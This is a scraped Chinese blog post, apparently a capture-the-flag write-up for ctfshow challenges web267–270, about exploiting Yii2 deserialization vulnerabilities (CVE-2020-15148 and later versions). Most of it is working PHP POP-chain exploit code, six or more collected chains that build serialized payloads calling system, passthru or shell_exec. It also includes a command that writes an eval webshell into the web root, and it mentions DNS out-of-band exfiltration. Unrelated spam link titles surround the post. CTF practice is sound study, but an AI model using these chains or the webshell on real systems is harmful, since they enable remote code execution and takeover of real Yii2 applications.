当前位置: 首页 > news >正文

网站制作在线版贵港公司做网站

网站制作在线版,贵港公司做网站,中企动力做的家具行业网站,火山软件开发平台教程目录 web267 web268 web269 web270 总结 web267 页面用的什么框架不知道 看源码看一下 框架就是一种软件工具,它提供了一些基础功能和规范,可以帮助开发者更快地构建应用程序。比如Yii框架和ThinkPHP框架就是两个流行的PHP框架,它们提供…

目录

web267

web268

web269

web270

总结


web267

页面用的什么框架不知道 看源码看一下

框架就是一种软件工具,它提供了一些基础功能和规范,可以帮助开发者更快地构建应用程序。比如Yii框架和ThinkPHP框架就是两个流行的PHP框架,它们提供了很多现成的功能和工具,让开发者可以更轻松地编写代码,不需要从零开始。使用框架可以加快开发速度、提高代码质量,并且有助于维护和扩展应用程序。

查看源码发现有个yii.js的脚本文件。

yii.js是一个与Yii框架相关的JavaScript文件。Yii是一个流行的PHP框架,它提供了一些功能和工具,用于简化Web应用程序的开发过程。如果你在使用Yii框架构建网站或应用程序,那么引用这个脚本文件可能是为了使用Yii框架提供的一些客户端功能或特性。判断出该网页使用的是yii框架

点进去发现是2.0的版本

网上也流传了反序列化链

Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。

现在找一下入口,由于是反序列化利用链,我们需要一个入口点

弱口令登陆一下 看一下 发现about页面有一点变化 查看源码 给了个提示

给的是? 我以为是在首页面位置使用呢 原来就是在adout页面用&连接

因为就是这个页面给的提示 按理说就是应该在这个页面的url后加入该参数

发现一个反序列化入口点:,给了入口 和需要提交的参数名

访问一下 结果是空白 证明是有这个页面的,光访问不行还得传个值否则访问不到 所以他才给提示

通用的链子

exp

<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'passthru';$this->id = 'tac /flag';}}
}
namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new Generator;}}
}
namespace{echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

passthru也是远程命令执行的函数 这个方便

大师傅就凭着感觉走 切合实际

checkAess=‘shell_exec’

id="echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";

注意看大师傅的视频特别是这个讲解 从头到位出问题 就得多尝试 

有几点我说一下 命令多换换 单引号双引号多换换 还有转移

真的是学的越多越好  查询该页面位置pwd的时候 使用了DNS外带 标记一下有时间学DNS外带

大师傅如何确定的当前路径

在DNSLOG里面先复制地址 用的大佬的图

写shell

访问成功后

找到flag位置

web268

用267的方式试一遍 不行 可能被过滤了 把eval shell等字符串使用点进行拼接

发现还是不行 那就只能是一个原因了 这个链子被过滤了 这个链子用不来了了

现成链子

exp

<?php
namespace yii\rest {class Action{public $checkAccess;}class IndexAction{public function __construct($func, $param){$this->checkAccess = $func;$this->id = $param;}}
}
namespace yii\web {abstract class MultiFieldSession{public $writeCallback;}class DbSession extends MultiFieldSession{public function __construct($func, $param){$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];}}
}
namespace yii\db {use yii\base\BaseObject;class BatchQueryResult{private $_dataReader;public function __construct($func, $param){$this->_dataReader = new \yii\web\DbSession($func, $param);}}
}
namespace {$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令echo(base64_encode(serialize($exp)));
}

直接访问1.txt

在这里说一下大师傅说以后遇见这种yii框架的漏洞 找到入口把知道的链子都试一下

web269

还是一样的使用web268链子  发现成功拿下flag

web270

还用web268链子 成功拿下

总结

这几道yii框架的反序列化漏洞 虽然没让我学会原理 但是我学会了 如果遇见某一类框架漏洞 直接找入口 找到入口后 网上找现成的链子 一个一个去尝试,现在我的时间不多了只能按照教程这么思路的来一遍这种框架漏洞 具体原理目前没时间学 如果以后有时间搜索(YII链子学习反序列化) 2023/12/7 14:38图书馆

记录一下链子

poc1

<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'phpinfo';$this->id = '1';				//命令执行}}
}
namespace Faker {use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}
namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

poc2

yii2.2.37

<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'system';$this->id = 'whoami';}}
}
namespace yii\db{use yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new DbSession();}}
}
namespace yii\web{use yii\rest\IndexAction;class DbSession{public $writeCallback;public function __construct(){$a=new IndexAction();$this->writeCallback=[$a,'run'];}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

poc3

2.0.38

<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'system';$this->id = 'ls';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this->formatters['isRunning'] = [new CreateAction(), 'run'];}}
}// poc2
namespace Codeception\Extension{use Faker\Generator;class RunProcess{private $processes;public function __construct(){$this->processes = [new Generator()];}}
}
namespace{// 生成pocecho base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

poc4

2.0.38

<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'system';$this->id = 'dir';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this->formatters['render'] = [new CreateAction(), 'run'];}}
}namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class See{protected $description;public function __construct(){$this->description = new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys = [];private $path;public function __construct(){$this->path = new See;$this->keys = array("axin"=>array("is"=>"handsome"));}}// 生成pocecho base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

poc5

2.0.42

<?phpnamespace Faker;
class DefaultGenerator{protected $default ;function __construct($argv){$this->default = $argv;}
}class ValidGenerator{protected $generator;protected $validator;protected $maxRetries;function __construct($command,$argv){$this->generator = new DefaultGenerator($argv);$this->validator = $command;$this->maxRetries = 99999999;}
}namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{private $processes = [];function __construct($command,$argv){$this->processes[] = new ValidGenerator($command,$argv);}
}$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));

poc6

<?phpnamespace yii\rest
{class IndexAction{function __construct(){$this->checkAccess = 'system';$this->id = 'whoami';}}
}namespace Symfony\Component\String
{use yii\rest\IndexAction;class LazyString{function __construct(){$this->value = [new indexAction(), "run"];}} class UnicodeString{function __construct(){$this->value = new LazyString();}}
}namespace Faker
{use Symfony\Component\String\LazyString;class DefaultGenerator{function __construct(){$this->default = new LazyString();}}class UniqueGenerator{function __construct(){$this->generator = new DefaultGenerator();$this->maxRetries = 99999999;}}
}namespace Codeception\Extension
{use Faker\UniqueGenerator;class RunProcess{function __construct(){$this->processes[] = new UniqueGenerator();}}
}namespace
{use Codeception\Extension\RunProcess;$exp = new RunProcess();echo(base64_encode(serialize($exp)));
}
http://www.yayakq.cn/news/430975/

相关文章:

  • 分类信息网站开发需求方案品牌网站设计图片
  • 网站的优化通过什么做上去给别人做网站是外包公司
  • 万网做网站怎么样企业展厅建筑外观
  • 建电子商务网站厦门公司黄页
  • 自己有域名怎么做免费网站企业门户下载
  • 大型网站开发文档做内贸什么网站资源比较多
  • 寻找移动网站建设wordpress博客优化
  • 用户界面设计报告西宁软件优化网站建设
  • 网站建设竣工验收报告制作网站免费
  • 网站开发的目的商务网站建设服务商
  • 西安网站架设公司有一个网站 人物模型可以做各种动作
  • 嘉兴市做网站优化宁夏固原住房和建设局网站
  • 网站制作教程ppt海外网络专线免费
  • 购物网站的开发免费做一个自己app
  • 网站适合移动端端端网站开发
  • 定制家具如何选择廊坊关键词优化服务
  • 支付宝网站支付接口wordpress微信模块插件
  • 网站开发英文论文资料贵港市城乡住房建设厅网站
  • 用php做网站难吗网站要能被搜到需要做推广嘛
  • 网站源码下载音乐宁乡网站建设点燃网络
  • 网站建设域名怎么用网站建设实训方案
  • ec网站域名做seo的网站有那些
  • 网站建设倒计时代码电子商务网站问题与解决方案
  • 专业免费网站建设无锡装修公司做网站
  • 做网站带源码软件-dw龙溪网站建设哪家便宜
  • 个人网站可以做品牌推广网站开发 路由
  • 网站建设设计流程外贸网站案例
  • 青岛网站建设选圣城网站建设公司 云智互联
  • 名表网站wordpress 订单插件
  • 广东移动手机营业厅网站wordpress博客xiu